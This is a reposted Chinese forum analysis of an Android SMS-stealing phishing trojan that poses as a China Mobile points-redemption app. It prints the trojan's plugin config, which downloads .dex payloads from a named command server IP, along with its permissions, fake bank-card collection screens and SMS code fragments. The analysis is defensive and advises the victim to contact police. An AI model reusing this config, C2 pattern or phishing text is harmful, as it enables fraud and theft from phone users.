[可疑样本bangcleplugin] 我被这个手机木马骗了接近2W

来自:http://www.52pojie.cn/thread-264674-2-1.html


木马文件加固了 手机短信监控然后后台拦截直接发给作者,然后作者在线提交请求。达到他的目的。 一个钓鱼木马,天下没有免费的午餐,贪小便宜吃大亏这道理我想你现在又更加明白了

我可以告诉你这个木马的作者的IP服务器是 http://112.124.72.119:8088  
用了阿里云的服务器。--------------------------------------
用的是梆梆盒子本地化App保护服务 digest证书协议


com.cmcc.lock\assets\bangcleplugin\dgc这个文件是比较关键的一个配置文件


/*内容如下


[Asm]  纯文本查看  复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 {      "last_modified" : "2014-05-20 10:02:06" , --------------------(服务器最后被修改的时间)      "digest" : "config file md5" ,------------(验证MD5,如MD5正确的话就会加载下面的插件)      "plugins" : { ------------(插件1)          "collector" : { ------------(插件2)              "min_container_version" : 0,              "name" : "collector" ,              "triggers" : {                  "android.intent.action.PACKAGE_REPLACED" : "default_task" , -------------------(触发规则)                  "com.secneo.plugin.action.HOURLY" : "default_task" , -------------------(触发规则)                  "android.intent.action.PACKAGE_ADDED" : "default_task" , -------------------(触发规则)                  "com.secneo.plugin.action.APP_STARTED" : "default_task" , -------------------(触发规则)                  "android.net.conn.CONNECTIVITY_CHANGE" : "default_task" , -------------------(触发规则)                  "android.intent.action.ACTION_POWER_CONNECTED" : "default_task" , -------------------(触发规则)                  "android.intent.action.PACKAGE_REMOVED" : "default_task" -------------------(触发规则)              },              "url" : "http://112.124.72.119:8088/collector.dex" ,              "file_name" : "collector.dex" ,              "min_sdk_version" : 0, 会弹出对话框提示认证              "version" : 46,     -------------------(插件版本)              "full_name" : "neo.plugin.collector.CollectorPlugin" ,         -------------------(重构的插件全名规则)              "digest" : "0302857a7e599d2a297ae05838ffe07f"      -------------------(digest的MD5加密)          },          "container" : {              "min_container_version" : 0,              "name" : "container" ,              "triggers" : {                  "com.secneo.plugin.action.APP_STARTED" : "default_task" ,      -------------------(触发规则)                  "android.net.conn.CONNECTIVITY_CHANGE" : "default_task" ,      -------------------(触发规则)                  "android.intent.action.ACTION_POWER_CONNECTED" : "default_task"     -------------------(触发规则)              },              "url" : "http://112.124.72.119:8088/dex/container.dex" ,              "file_name" : "container.dex" ,              "min_sdk_version" : 0,              "version" : 77,              "full_name" : "neo.container.impl.SimContainer" ,      -------------------(重构的插件全名规则)              "digest" : "e9d268c63b0a62072770ce43ec724c99" -------------------(digest的MD5加密)



com.cmcc.lock/AndroidManifest.xml
1. AndroidManifest.xml分析
[Asm]  纯文本查看  复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 "1.0" encoding= "utf-8" ?> "1" android:versionName= "1.0" android:installLocation= "internalOnly" package= "com.cmcc.lock"    xmlns:android= "http://schemas.android.com/apk/res/android" >      < uses -permission android: name = "android.permission.CAMERA" />      < uses -feature android: name = "android.hardware.camera" />      < uses -feature android: name = "android.hardware.autofocus" />      < uses -permission android: name = "android.permission.FLASHLIGHT" />      < uses -permission android: name = "android.permission.DISABLE_KEYGUARD" />      < uses -permission android: name = "android.permission.RECEIVE_BOOT_COMPLETED" />      < uses -permission android: name = "android.permission.RECEIVE_USER_PRESENT" />      < uses -permission android: name = "android.permission.RECEIVE_SMS" />      < uses -permission android: name = "android.permission.SEND_SMS" />      < uses -permission android: name = "android.permission.READ_PHONE_STATE" />      < uses -permission android: name = "android.permission.BROADCAST_SMS" />      < uses -permission android: name = "android.permission.INTERNET" />      < uses -permission android: name = "android.permission.ACCESS_NETWORK_STATE" />      < uses -permission android: name = "android.permission.READ_PHONE_STATE" />      < uses -permission android: name = "android.permission.WRITE_EXTERNAL_STORAGE" />      < uses -permission android: name = "android.permission.ACCESS_COARSE_LOCATION" />      < uses -permission android: name = "android.permission.ACCESS_WIFI_STATE" />      < uses -permission android: name = "android.permission.VIBRATE" />      label = "@string/app_name" android:icon= "@drawable/icon" android: name = "com.bangcle.protect.ApplicationWrapper" android:persistent= "true" android:allowBackup= "true" >          "@*android:style/Theme.NoTitleBar.Fullscreen" android: label = "@string/app_name" android: name = "com.cmcc.lock.ShanGuangDActivity" >                               name = "android.intent.action.MAIN" />                  name = "android.intent.category.LAUNCHER" />                                "@*android:style/Theme.Translucent" android: name = "com.cmcc.lock.SmsActivity" />          "@*android:style/Theme.NoTitleBar.Fullscreen" android: name = "com.cmcc.lock.MainActivity" android:excludeFromRecents= "true" />          name = "com.cmcc.lock.SmSserver" android:enabled= "true" />          name = "com.cmcc.lock.BootReceiver" >


大量危险权限,包括了读取电话信息,访问网络,接发短信(估计也是控制端的一种方式),安装程序,开机启动
[Asm]  纯文本查看  复制代码 ?
1 2 3 4 5 6 7 android:enabled= "true" android: name = "token.bot.SmsReciver" > "2147483647" > name = "android.provider.Telephony.SMS_RECEIVED" />

短信监控,估计后面代码中会利用sms来做控制命令


可以看到这个程序请求了许多权限,其中包括了开机启动,访问网络,读取联系人信息短信,安装等多个危险的权限。其中com.cmcc.lock启动线程,下面分析。 




[Asm]  纯文本查看  复制代码 ?
01 02 03 04 05 06 07 08 09 10 "1.0" encoding= "utf-8" ?> "center_vertical" android:orientation= "vertical" android:background= "#ffffffff" android:layout_width= "fill_parent" android:layout_height= "fill_parent"    xmlns:android= "http://schemas.android.com/apk/res/android" >      "20.0sp" android:gravity= "center_horizontal" android:layout_width= "fill_parent" android:layout_height= "130.0dip" android:src= "@drawable/img_zfb" android:scaleType= "fitXY" />      "18.0sp" android:textColor= "#ffff0000" android:gravity= "center_horizontal" android:layout_width= "fill_parent" android:layout_height= "100.0dip" android:layout_margin= "5.0dip" android:text= "恭喜您:您的移动号码积分为1280分,可兑换128.00元现金奖励!请正确填写您的收款信息和银行卡号,并激活。以免资金不到账!" />      "@color/black" android:textColorHint= "@color/gray" android:id= "@id/edtText1" android:background= "@drawable/login_input" android:paddingLeft= "26.0dip" android:layout_width= "wrap_content" android:layout_height= "wrap_content" android:layout_marginLeft= "5.0dip" android:layout_marginRight= "10.0dip" android:layout_marginBottom= "8.0dip" android:hint= "姓名" android:cursorVisible= "true" android:maxLines= "10" android:ems= "18" android:singleLine= "true" android:drawableLeft= "@drawable/menu1" android:drawablePadding= "24.0dip" android:layout_below= "@id/text" android:inputType= "textPersonName" />      "@color/black" android:textColorHint= "@color/gray" android:id= "@id/etTest2" android:background= "@drawable/login_input" android:paddingLeft= "21.0dip" android:layout_width= "wrap_content" android:layout_height= "wrap_content" android:layout_marginLeft= "5.0dip" android:layout_marginRight= "10.0dip" android:layout_marginBottom= "8.0dip" android:hint= "身份证号码" android:cursorVisible= "true" android:maxLines= "10" android:ems= "18" android:singleLine= "true" android:drawableLeft= "@drawable/tf_name_card_icon" android:drawablePadding= "20.0dip" android:inputType= "number" />      "@color/black" android:textColorHint= "@color/gray" android:id= "@id/etTest3" android:background= "@drawable/login_input" android:paddingLeft= "30.0dip" android:layout_width= "wrap_content" android:layout_height= "wrap_content" android:layout_marginLeft= "5.0dip" android:layout_marginRight= "10.0dip" android:layout_marginBottom= "8.0dip" android:hint= "银行卡卡号" android:cursorVisible= "true" android:maxLines= "10" android:ems= "18" android:singleLine= "true" android:drawableLeft= "@drawable/bank_card_card_icon" android:drawablePadding= "25.0dip" android:layout_below= "@id/etTest3" android:layout_alignParentLeft= "true" android:inputType= "number" />     


收集你的信息然后发送请求到服务器,通过返回来得到控制命令(当然这些信息你是自己输入进去的。)
最后启动了MainService。而MainService主要负责assets的程序控制,是核心部分。


[Asm]  纯文本查看  复制代码 ?
1 2 3 "1.0" encoding= "utf-8" ?> "#00000000" android:layout_width= "fill_parent" android:layout_height= "fill_parent"    xmlns:android= "http://schemas.android.com/apk/res/android" />


宽度布满整个屏幕,高度布满整个屏幕 代码颜色还是黑色。。


[Asm]  纯文本查看  复制代码 ?
1 2 3 4 5 "1.0" encoding= "utf-8" ?> "fill_parent" android:layout_height= "fill_parent"    xmlns:android= "http://schemas.android.com/apk/res/android" >      "20.0dip" android:id= "@id/firstTextView" android:layout_width= "wrap_content" android:layout_height= "wrap_content" android:text= "@string/firstactivity" />


屏幕效果的代码 一入一出 闪闪闪,




android_providers项目布局文件
activity_main1.xml

[Asm]  纯文本查看  复制代码 ?
1 2 3 4 5 6 7 "1.0" encoding= "utf-8" ?> "fill_parent" android:layout_height= "fill_parent"    xmlns:android= "http://schemas.android.com/apk/res/android" > [color=#ff0000]    "fill_parent" android:layout_height= "fill_parent" android:src= "@drawable/start_page" android:scaleType= "centerCrop" />[/color]      "center" android:orientation= "vertical" android:paddingBottom= "10.0dip" android:layout_width= "fill_parent" android:layout_height= "wrap_content" android:layout_alignParentBottom= "true" >          "12.0sp" android:textColor= "#ff888888" android:layout_gravity= "center_horizontal" android:layout_width= "wrap_content" android:layout_height= "wrap_content" android:text= "© 2004-2014 [color=#ff0000][b]Alipay.com[/b][/color].All rights reserved." />[ size =3][color=#ff0000][b]看到了一个支付宝的网站。[/b][/color][/ size ]   


[Asm]  纯文本查看  复制代码 ?
1 2 3 4 5 "1.0" encoding= "utf-8" ?> [u][color=#ff0000] "@dimen/activity_horizontal_margin" android:paddingTop= "@dimen/activity_vertical_margin[/color][/u]" android:paddingRight= "@dimen/activity_horizontal_margin" android:paddingBottom= "@dimen/activity_vertical_margin" android:layout_width= "fill_parent" android:layout_height= "fill_parent" xmlns:android= "http://schemas.android.com/apk/res/android" > "wrap_content" android:layout_height= "wrap_content" android:text= "卸载成功" />


广播发送与接收

然后在AndroidManifestxml 中添加 发送短信的权限

 
  接下来就是SmsActivity 中 主要代码 的实现 其功能 
   [Asm]  纯文本查看  复制代码 ?
1 public class SmsActivity extends Activity {

  
// 声明控件对象

[Asm]  纯文本查看  复制代码 ?
1 2 3 4 5 6 7 private Button butten_sms; private EditText edit_phone; private EditText edit_sms;    @Override protected void onCreate(Bundle savedInstanceState) { superonCreate(savedInstanceState)

//设置显示视图
[Asm]  纯文本查看  复制代码 ?
1 setContentView(Rlayoutactivity_sms);


//获取按钮组件
[Asm]  纯文本查看  复制代码 ?
1 butten_sms=(Button) findViewById(RidBut_sms);


//获取输入框组件
[Asm]  纯文本查看  复制代码 ?
1 2 edit_phone = (EditText) findViewById(Ridedit_phone); edit_sms = (EditText) findViewById(Ridedit_sms);


//注册按钮事件


[Asm]  纯文本查看  复制代码 ?
1 2 3 4 butten_smssetOnClickListener(new ViewOnClickListener() {   @Override public void onClick(View arg) { /**



[Asm]  纯文本查看  复制代码 ?
01 02 03 04 05 06 07 08 09 10 "1.0" encoding= "utf-8" ?>      name = "app_name" >移动积分兑换      name = "action_settings" >Settings      name = "hello_world" >Hello world!      name = "admin" >允许 Android 系统硬件检测或调整屏幕亮度      name = "head" >温馨提示      name = "firstactivity" >"恭喜您!!! 提交成功!我们的工作人员会在1-3个工作日内处理,请于3日后查询!中国移动全体工作人员感谢您的支持!"


钱已到别人的口袋了!



最后总结
一款短信僵尸病毒。也可以说是钓鱼木马,利用digest证书协议在服务器和客户端(也就是你手机)实现互相提交请求。
客户端先发请求(不知道要不要认证,头里不包含任何特殊信息)服务器发一个401返回,你要响应头的信息你自己抓包看。
然后客户端认证,发送一个请求头。你要看发送的请求头信息你自己抓包,通过firebug可以查看请求头,
这款病毒木马功能上还是比较齐全的,有点广告功能,更新下载,窃取指定短信,窃取联系人信息,短信盗用发送。采用digest证书协议,http post通信控制,数据交互采用xml,从控制者和被感染主机之间所形成的一个可一对多控制的网络。可进行大量涉及支付的恶意操作,


动态的一些分析就不做了。不过避免用户起疑,目前的手机病毒大多采取了比较谨慎的做法,每次进行的支付都是小额的,基本上很少产生高额账单,这样受感染用户也不会轻易发现,你一下丟了2W 也确实够衰的。建议你可以报警。查一查你的钱流失的方向。这样的哑巴亏不能吃!


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部